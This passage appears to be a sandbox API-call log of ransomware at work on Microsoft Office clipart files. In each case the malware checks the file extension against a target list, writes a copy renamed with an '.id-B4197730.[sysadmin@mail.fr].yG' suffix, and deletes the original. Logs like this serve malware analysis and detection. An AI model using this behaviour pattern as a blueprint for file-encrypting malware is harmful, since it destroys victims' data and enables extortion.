	[0174.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.798] lstrlenW (lpString=".zip") returned 4
	[0174.798] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.798] lstrlenW (lpString=".rar") returned 4
	[0174.798] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.798] lstrlenW (lpString=".bz2") returned 4
	[0174.798] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.798] lstrlenW (lpString=".7z") returned 3
	[0174.798] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.798] lstrlenW (lpString=".dbf") returned 4
	[0174.798] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.799] lstrlenW (lpString=".1cd") returned 4
	[0174.799] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.799] lstrlenW (lpString=".jpg") returned 4
	[0174.799] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.800] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=35419) returned 1
	[0174.800] CloseHandle (hObject=0x544) returned 1
	[0174.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220
	[0174.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0174.801] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.801] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0174.802] GetLastError () returned 0x0
	[0174.802] ReadFile (in: hFile=0x544, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x8a5b, lpOverlapped=0x0) returned 1
	[0175.222] WriteFile (in: hFile=0x55c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x8a60, lpOverlapped=0x0) returned 1
	[0175.223] ReadFile (in: hFile=0x544, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.223] WriteFile (in: hFile=0x55c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.223] SetEndOfFile (hFile=0x55c) returned 1
	[0175.224] CloseHandle (hObject=0x55c) returned 1
	[0175.224] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.224] SetEndOfFile (hFile=0x544) returned 1
	[0175.228] CloseHandle (hObject=0x544) returned 1
	[0175.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0175.230] lstrlenW (lpString=".doc") returned 4
	[0175.230] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.230] lstrlenW (lpString=".docx") returned 5
	[0175.230] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0175.230] lstrlenW (lpString=".pdf") returned 4
	[0175.230] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.230] lstrlenW (lpString=".xls") returned 4
	[0175.230] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.230] lstrlenW (lpString=".xlsx") returned 5
	[0175.230] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0175.230] lstrlenW (lpString=".ppt") returned 4
	[0175.230] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0175.230] lstrlenW (lpString=".zip") returned 4
	[0175.230] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.230] lstrlenW (lpString=".rar") returned 4
	[0175.230] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.230] lstrlenW (lpString=".bz2") returned 4
	[0175.230] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.230] lstrlenW (lpString=".7z") returned 3
	[0175.230] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0175.230] lstrlenW (lpString=".dbf") returned 4
	[0175.230] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0175.231] lstrlenW (lpString=".1cd") returned 4
	[0175.231] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0175.231] lstrlenW (lpString=".jpg") returned 4
	[0175.231] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.457] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=39542) returned 1
	[0175.457] CloseHandle (hObject=0x53c) returned 1
	[0175.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220
	[0175.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.876] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.876] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0175.877] GetLastError () returned 0x0
	[0175.877] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x9a76, lpOverlapped=0x0) returned 1
	[0175.897] WriteFile (in: hFile=0x578, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x9a80, lpOverlapped=0x0) returned 1
	[0175.899] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.899] WriteFile (in: hFile=0x578, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.899] SetEndOfFile (hFile=0x578) returned 1
	[0175.900] CloseHandle (hObject=0x578) returned 1
	[0175.900] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.900] SetEndOfFile (hFile=0x55c) returned 1
	[0175.904] CloseHandle (hObject=0x55c) returned 1
	[0175.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1
	[0175.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0175.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0175.905] lstrlenW (lpString=".doc") returned 4
	[0175.905] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.905] lstrlenW (lpString=".docx") returned 5
	[0175.905] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0175.905] lstrlenW (lpString=".pdf") returned 4
	[0175.905] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.905] lstrlenW (lpString=".xls") returned 4
	[0175.906] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.906] lstrlenW (lpString=".xlsx") returned 5
	[0175.906] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0175.906] lstrlenW (lpString=".ppt") returned 4
	[0175.906] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0175.906] lstrlenW (lpString=".zip") returned 4
	[0175.906] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.906] lstrlenW (lpString=".rar") returned 4
	[0175.906] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.906] lstrlenW (lpString=".bz2") returned 4
	[0175.906] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.906] lstrlenW (lpString=".7z") returned 3
	[0175.906] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0175.906] lstrlenW (lpString=".dbf") returned 4
	[0175.906] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0175.906] lstrlenW (lpString=".1cd") returned 4
	[0175.906] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0175.906] lstrlenW (lpString=".jpg") returned 4
	[0175.906] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.907] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=46404) returned 1
	[0175.907] CloseHandle (hObject=0x55c) returned 1
	[0175.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220
	[0175.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.908] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.908] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0175.909] GetLastError () returned 0x0
	[0175.909] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xb544, lpOverlapped=0x0) returned 1
	[0175.932] WriteFile (in: hFile=0x578, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xb550, lpOverlapped=0x0) returned 1
	[0175.933] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.934] WriteFile (in: hFile=0x578, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.934] SetEndOfFile (hFile=0x578) returned 1
	[0175.944] CloseHandle (hObject=0x578) returned 1
	[0175.950] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.950] SetEndOfFile (hFile=0x55c) returned 1
	[0175.959] CloseHandle (hObject=0x55c) returned 1
	[0175.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1
	[0176.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0176.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0176.612] lstrlenW (lpString=".doc") returned 4
	[0176.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.612] lstrlenW (lpString=".docx") returned 5
	[0176.612] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.612] lstrlenW (lpString=".pdf") returned 4
	[0176.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.612] lstrlenW (lpString=".xls") returned 4
	[0176.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.612] lstrlenW (lpString=".xlsx") returned 5
	[0176.613] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.613] lstrlenW (lpString=".ppt") returned 4
	[0176.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0176.613] lstrlenW (lpString=".zip") returned 4
	[0176.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.613] lstrlenW (lpString=".rar") returned 4
	[0176.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.613] lstrlenW (lpString=".bz2") returned 4
	[0176.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.613] lstrlenW (lpString=".7z") returned 3
	[0176.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0176.613] lstrlenW (lpString=".dbf") returned 4
	[0176.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0176.613] lstrlenW (lpString=".1cd") returned 4
	[0176.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0176.613] lstrlenW (lpString=".jpg") returned 4
	[0176.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.675] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.676] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0176.677] GetLastError () returned 0x0
	[0176.677] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1104, lpOverlapped=0x0) returned 1
	[0176.694] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1110, lpOverlapped=0x0) returned 1
	[0176.698] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.698] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.698] SetEndOfFile (hFile=0x52c) returned 1
	[0176.698] CloseHandle (hObject=0x52c) returned 1
	[0176.698] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.698] SetEndOfFile (hFile=0x2a8) returned 1
	[0176.702] CloseHandle (hObject=0x2a8) returned 1
	[0176.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1
	[0176.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0176.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0176.704] lstrlenW (lpString=".doc") returned 4
	[0176.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.704] lstrlenW (lpString=".docx") returned 5
	[0176.704] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0176.704] lstrlenW (lpString=".pdf") returned 4
	[0176.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.704] lstrlenW (lpString=".xls") returned 4
	[0176.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.704] lstrlenW (lpString=".xlsx") returned 5
	[0176.704] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0176.704] lstrlenW (lpString=".ppt") returned 4
	[0176.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0176.704] lstrlenW (lpString=".zip") returned 4
	[0176.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.704] lstrlenW (lpString=".rar") returned 4
	[0176.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.704] lstrlenW (lpString=".bz2") returned 4
	[0176.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.704] lstrlenW (lpString=".7z") returned 3
	[0176.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0176.704] lstrlenW (lpString=".dbf") returned 4
	[0176.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0176.704] lstrlenW (lpString=".1cd") returned 4
	[0176.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0176.705] lstrlenW (lpString=".jpg") returned 4
	[0176.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.705] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=15464) returned 1
	[0176.705] CloseHandle (hObject=0x2a8) returned 1
	[0176.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220
	[0176.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0176.707] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.707] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0176.708] GetLastError () returned 0x0
	[0176.708] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x3c68, lpOverlapped=0x0) returned 1
